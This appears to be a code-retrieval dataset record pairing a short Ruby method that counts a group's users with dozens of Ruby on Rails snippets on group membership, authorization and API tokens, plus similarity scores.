"def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = [email protected]_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end",
"def create\n groups = [];\n keywords = [];\n\n params[:groups].each do |group|\n g = Group.find_by_facebook_id(group[:id]) || Group.create({\n facebook_id: group[:id],\n name: group[:name]\n })\n groups << g\n end\n\n if params[:keywords]\n params[:keywords].each do |keyword|\n k = Keyword.find_by_name(keyword) || Keyword.create(name: keyword)\n keywords << k\n end\n end\n\n oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_APP_ID\"], ENV[\"FACEBOOK_APP_SECRET\"])\n long_token = oauth.exchange_access_token_info(params[:user][:authToken])[\"access_token\"]\n user = User.find_by_email(params[:user][:email]) || User.create(email: params[:user][:email])\n user.update_attributes(auth_token: long_token)\n \n r = user.requests.create\n r.groups << groups\n r.keywords << keywords\n r.save\n\n # FacebookApi.new(r)\n render nothing: true\n end",
"def index\n\n @user = User.find(params[:user_id])\n\n # confirm the user\n ticket = params[:ticket]\n logger.info(\"~~~~~~~~~~~~~~~ticket:\")\n logger.info(ticket)\n @groups = @user.groups\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n\n=begin\n if ticket!= nil\n ticket = ticket.split('-')\n abc = ticket[2]\n logger.info(abc)\n code = abc[20,abc.length-20]\n name = Base64.decode64(code)\n logger.info(\"----------user_id\"+params[:user_id].to_s)\n user = User.find(@user)\n if user.name != name\n\trender :json=>\"unknown user\"\n\n else\n\n @groups = @user.groups\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end\n\n end\n=end\n\n\n end",
"def move_users_to_group(group_id, arr_of_user_ids)\n arr_of_user_ids.each { |id|\n populate_group = HTTParty.post(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/memberships\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n user_id: id\n } \n )\n }\nend",
"def auth_param; end",
"def permit\n user = User.find(params[:user_id])\n group = Group.find(params[:id])\n membership = Membership.find_by(user: user, group: group)\n if membership\n membership.update_column(:active, true)\n membership.touch # For showing on dashboard.\n end\n redirect_back fallback_location: '/'\n end",
"def grant_auth(from, to)\n ownusr = User.first(:nickname=>from)\n\n tousr = User.first(:nickname=>to)\n return ret_fail('user not found!') if tousr == nil #the user is not in the database\n\n contact = ownusr.contacts.first(:userid => tousr.id)\n return ret_fail(to+' not in your contact list') if contact==nil #first add the user before accepting auth_request!\n\n\n #check the authorization state\n hiscontact = tousr.contacts.first(:userid => ownusr.id)\n return ret_fail('not in list of '+to) if hiscontact==nil\n return ret_fail(to+' is already authorized') if hiscontact.authgiven =='t'\n return ret_fail('authorization was not requested') if hiscontact.authgiven=='f' #makes no sense to grant before getting a request...\n\n #so state is pending -> lets change to given\n hiscontact.authgiven = 't'\n hiscontact.save\n\n #append notification to queue and save db record\n tousr.messages.create(:data => JSON.generate({'type'=>'auth_grant','from'=>from}))\n\n return ret_success\nend",
"def create_non_admin_user_authenticate\n post '/users', 'username' => 'testuser', 'password' => 'testpassword', 'email_address' => '[email protected]'\n id_user = last_response.json_body['id']\n digest_authorize 'testuser', 'testpassword'\n id_user\nend",
"def authorize_request\n authenticate_with_http_token do |token, options|\n User.find_by(token: token)\n end\n end",
"def respond_with_identity(user,group)\n resp = checkid_request.answer(true, nil, openid_identifier(user))\n resp = add_identity_details(resp,user,group)\n render_response(resp)\n end",
"def group_user_rooster_params\n params.require(:group_user_rooster).permit(:user_id, :isadmin, :group_id)\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def show\n authorize @group\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getUserAllowed_to_edit( entity_id, user_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n return doCurl(\"get\",\"/user/allowed_to_edit\",params)\n end",
"def validate_access_token obj\n if obj[\"access_token\"] == request_details[:access_token]\n User.new(obj)\n else\n false\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
"def authenticate_with_oauth2(oauth2_id, oauth2_token)\n \n # find user and update access token \n returning(self.find_for_oauth2(oauth2_id)) do |user|\n user.update_attributes(:oauth2_token => oauth2_token) unless user.nil?\n end\n\n end",
"def restrict_access\n\t authenticate_or_request_with_http_token do |token, options|\n\t User.exists?(api_key: token)\n\t end\n\tend",
"def manage_groups\n @other_user = @login_user\n @groups = @login_user.groups\n end",
"def is_creator\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_creator?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def member_user\n if params[:group_id]\n @group = Group.find(params[:group_id])\n else\n @group = Group.find(by_id)\n end\n unless @group.has_member?(current_user)\n flash[:danger] = \"The page you requested is only available to members.\"\n redirect_to @group\n end\n end",
"def grant_request(user_id, access_code)\n self.access_code = access_code\n resolve(user_id, RES_GRANTED)\n end",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def authorize_user\n # stores action past, gathered by params, and stores action into action variable\n action = params['action']\n\n # passes current post and all of its keys and values, via params, inside variable post\n post = Post.find(params[:id])\n\n # if the post.user id is the same as the current user id, then pass all actions as true and\n # exit out. Machine here thinks (if not the same user id), \"I am a different id.\n # and am exiting loop and headed to the next bit of information\"\n return true if post.user == current_user\n\n # The user was not the current user (see above), so what user are you?\n # If the destroy action is generated, the post.user id will need to match a\n # moderator user id of 2 or an admin id of 1, else redirect back to post with directed error\n if action == 'destroy' && (post.user == !current_user || !current_user.admin?)\n flash[:alert] = 'You must be an admin to do that'\n redirect_to [post.topic, post]\n # same idea as destroy (above), except for the 'update' action\n elsif action == 'update' && !(current_user.moderator? || current_user.admin?)\n flash[:alert] = 'You must be an admin or a moderator to do that'\n redirect_to [post.topic, post]\n end\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def group_request_params\n params.require(:group_request).permit(:user_id, :group_id, :pre_auth, :approved, :created_by, :updated_by)\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def retrieve_user_access_list_for_app(user,app)\n user.groups.where(app_id: app.id)\n end",
"def move_users_to_group(group_id, set_of_user_ids)\n set_of_user_ids.each do |id|\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/memberships\"\n puts \"@url is #{@url}\"\n \n @payload={'user_id': id}\n puts(\"@payload is #{@payload}\")\n \n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to move user to group has Response.code #{@postResponse.code} and postResponse is #{@postResponse}\")\n end\nend",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def restrict_access\n if session[:user_id]\n if !conversation_params.nil?\n conversation_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !conversation_params.nil?\n conversation_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def restrict_create\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\t@token_account = api_token.account if api_token\n\t\tend\n\tend",
"def group_params\n params.require(:group).permit(:name, :group_image, user_ids: [])\n end",
"def oauth_authentication; end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def retrieve_user_access_list_for_app(user,app)\n user.groups.where(app_id: app.id)\n end",
"def authorize_request\n @current_user = AuthorizeApiRequest.new(request.headers).call[:user]\n\n # Check if the user record is ban and cancel all actions\n json_response({ error: 'Bannis' }, :unauthorized_request) if @current_user.isBan\n\n # Check achievements in all queries by the user, three times out of ten\n @current_user.check_achievements if rand(10) >= 7\n end",
"def protect_auth\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\tputs \"IS ROLE AUTHORIZED? #{params[:role] == usr.role}\"\n\t\t#head :unauthorized unless params[:role] == usr.role\n\n\n\t\tmsg = ''\n\t\tif params[:role] == usr.role\n\t\t\tmsg = \"AUTHORIZED\"\n\t\telse\n\t\t\tmsg = \"UNAUTHORIZED\"\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg } } \t\t\n \t\tend\n\tend",
"def ensure_proper_permission!\n @chatroom = Chatroom.find params[:chatroom_id]\n\n user = @chatroom.user\n study_group = @chatroom.study_group\n\n unless current_user == user || study_group&.has_member?(current_user)\n head 401\n end\n end",
"def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end",
"def restrict_access\n if session[:user_id]\n if !setting_params.nil?\n setting_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !setting_params.nil?\n setting_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def groups_user_params\n params.require(:groups_user).permit(:user_id,:group_id)\n end",
"def authorized?(user, required_groups)\n required_groups.nil? || required_groups.any? do |group|\n robot.auth.user_in_group?(user, group)\n end\n end",
"def authorize_user\n render json: {message: \"Unauthorized\"}, status: 401 unless get_current_user.id == params[:user_id].to_i\n end",
"def form_params\n params.require(:user).permit(:username,{ :group_ids => [] })\n end",
"def userauth_request(username, next_service, auth_method, *others); end",
"def group_params\n params.require(:group).permit(:event_id, :user_id)\n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def isAuthorizedUser\n redirect_to groups_path unless current_user.id == @project.user_id\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def getUserBy_groupid( group_id)\n params = Hash.new\n params['group_id'] = group_id\n return doCurl(\"get\",\"/user/by_groupid\",params)\n end",
"def authorize_user\n puts \"AUTHORIZE USER\"\n puts \"params[:id] \" + params[:id].to_s\n # render json: { status: 401, message: 'Unauthorized' } unless get_current_user.id == params[:id].to_i\n render json: { status: 401, message: 'Unauthorized' } unless get_current_user\n end",
"def create\n # find or create an auth_grant for a given user\n application = Opro::Oauth::ClientApp.find_by_client_id(params[:client_id])\n auth_grant = Opro::Oauth::AuthGrant.find_or_create_by_user_app(current_user, application)\n\n # add permission changes if there are any\n auth_grant.update_permissions(params[:permissions])\n redirect_to auth_grant.redirect_uri_for(params[:redirect_uri], params[:state])\n end",
"def user_in_group_share?(user, *permissions)\n # check if api status is ok, otherwise exit without checking to prevent UI hanging on repeated calls\n if user.registered_for_firecloud && ApplicationController.firecloud_client.services_available?(FireCloudClient::SAM_SERVICE, FireCloudClient::RAWLS_SERVICE, FireCloudClient::THURLOE_SERVICE)\n group_shares = self.study_shares.keep_if {|share| share.is_group_share?}.select {|share| permissions.include?(share.permission)}.map(&:email)\n # get user's FC groups\n if user.access_token.present?\n client = FireCloudClient.new(user:, project: FireCloudClient::PORTAL_NAMESPACE)\n elsif user.api_access_token.present?\n client = FireCloudClient.new\n client.access_token[:access_token] = user.api_access_token\n else\n false\n end\n begin\n user_groups = client.get_user_groups.map {|g| g['groupEmail']}\n # use native array intersection to determine if any of the user's groups have been shared with this study at the correct permission\n (user_groups & group_shares).any?\n rescue => e\n ErrorTracker.report_exception(e, user, { user_groups: user_groups, study: self.attributes.to_h})\n Rails.logger.error \"Unable to retrieve user groups for #{user.email}: #{e.class.name} -- #{e.message}\"\n false\n end\n else\n false # if user is not registered for firecloud, default to false\n end\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end"
] |
[
"0.63575006",
"0.6049184",
"0.604473",
"0.59778386",
"0.5960033",
"0.5956082",
"0.5898231",
"0.58575445",
"0.5775208",
"0.5761696",
"0.5751896",
"0.57372",
"0.57253647",
"0.5716244",
"0.57036287",
"0.570008",
"0.5693296",
"0.5681172",
"0.56763816",
"0.5674352",
"0.5659018",
"0.56147814",
"0.5607788",
"0.5603947",
"0.56034714",
"0.56015795",
"0.55996484",
"0.55931735",
"0.55881065",
"0.55846816",
"0.5579745",
"0.55763596",
"0.55762565",
"0.5571588",
"0.55634266",
"0.5558372",
"0.555653",
"0.5548373",
"0.55456024",
"0.5528441",
"0.5528021",
"0.5528021",
"0.5527824",
"0.55237865",
"0.5520951",
"0.55077064",
"0.55028343",
"0.54957634",
"0.54956496",
"0.54955405",
"0.54885375",
"0.548754",
"0.5484169",
"0.54826015",
"0.5476457",
"0.5473979",
"0.5470585",
"0.54654473",
"0.54607624",
"0.5459546",
"0.5456639",
"0.5452065",
"0.54440606",
"0.5442028",
"0.5440956",
"0.5437461",
"0.5430999",
"0.5430931",
"0.54285604",
"0.541504",
"0.5413913",
"0.5413913",
"0.54134125",
"0.54077613",
"0.5401422",
"0.53990847",
"0.5397934",
"0.5395769",
"0.53956187",
"0.5389875",
"0.5387086",
"0.53857154",
"0.538552",
"0.5373521",
"0.53728926",
"0.53669757",
"0.5362593",
"0.5362505",
"0.53588164",
"0.5355424",
"0.53541315",
"0.5343612",
"0.53431654",
"0.5341792",
"0.534025",
"0.53400815",
"0.5337718",
"0.5337432",
"0.533072",
"0.5328003"
] |
0.53499067
|
91
|
params: access_token, group_id auth user's right
|
def count
@group = Group.find(params[:group_id])
render json: {group_id: @group.id,
user_count: @group.users.count}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def show\n authorize @group\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def li__my_groups(access_keys)\n access_token = OAuth::AccessToken.new(get_linkedin_consumer(3), access_keys[:access_token], access_keys[:access_secret])\n \n \n # -- X. WITH 'posts' -> to be used as part of automatically determining the location of the group (for targeted groups)\n # json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,posts,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # -- X. WITHOUT 'posts'\n json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # response = access_token.get(\"http://api.linkedin.com/v1/people/~/group-memberships:(group:(id,name,num-members,small-logo-url),membership-state,show-group-logo-in-profile,allow-messages-from-members,email-digest-frequency,email-announcements-from-managers,email-for-every-new-post)?format=json&start=0&count=1000\")\n # response = access_token.get(\"http://api.linkedin.com/v1/groups::(5049608,5112233,5161898):(id,name,site-group-url,posts)?format=json\")\n \n json_groups\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def find_oauth_access_token\n end",
"def access_token\n end",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end",
"def show\n authorize! :show, @group\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def auth_token_params\n params.require(:auth_token).permit(:label, group: [])\n end",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def group_params\n params.require(:group).permit(:name, rights_attributes: [:id, :name, :is_available, :right_ids])\n end",
"def authenticate_with_api_token!\n unless Project.where(id: params[:project_id], api_token: params[:api_token]).exists?\n render_error_with_message(t('controllers.api.v1.groups.invalid_api_token'), :unauthorized)\n end\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def approve_group\n if params[:g].present?\n if request.post? #Approve\n @group2 = Group.find(params[:g])\n if @group.approve_group(@group2)\n flash[:success] = \"You're now connected to #{@group2.name}.\"\n @group.notify_of_new_connection(@group2)\n end\n elsif request.delete? #DENY\n @group2 = Group.find(params[:g])\n if @group.deny_group(@group2)\n flash[:success] = \"Connection denied.\"\n end\n end\n end\n redirect_to @group\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def atest_ID_25874_user_follows_a_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n follow_a_group\n logout_common\n login_as_user1\n verify_updates\n end",
"def show\n @game.group = @group\n authorize @game\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def unlock_access_by_token(unlock_token); end",
"def group\n strong_memoize(:group) do\n if params[:group_id].present? && valid_request?\n the_group = Group.find_by(id: params[:group_id])\n can?(current_user, :read_group, the_group) ? the_group : nil\n end\n end\n end",
"def group_params\n params.require(:group).permit(:name, :access_level)\n end",
"def add_group_permission(g)\n\t\t\n\tend",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def auth\n if current_user.nil? \n flash[:notice] = \"You need to login to manage groups\"\n redirect_to new_user_session_path\n elsif cannot? :manage, Admin::Group\n flash[:notice] = \"You do not have permission to manage groups\"\n redirect_to root_path\n end\n end",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show_group\n group_name = params[:name]\n @group = $iam.groups[group_name]\n @users = @group.users\n @policies = @group.policies\n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def show\n @group = Group.find_by_guid(params[:id])\n respond_to do |format|\n format.json {\n if @group.password == params[:password]\n render json: @group\n else\n render json: \"Forbidden\", status: :forbidden\n end\n }\n format.html # show.html.erb\n end\n end",
"def index\n @group = current_user.groups.find_by(id: params[:group_id]) || @groups.first\n end",
"def update\n token = params[:token]\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"Not In Group\", 404) and return \\\n unless @group\n @g_user = GroupUser.where(group_id: @group.id, user_id: @user.id).first\n end",
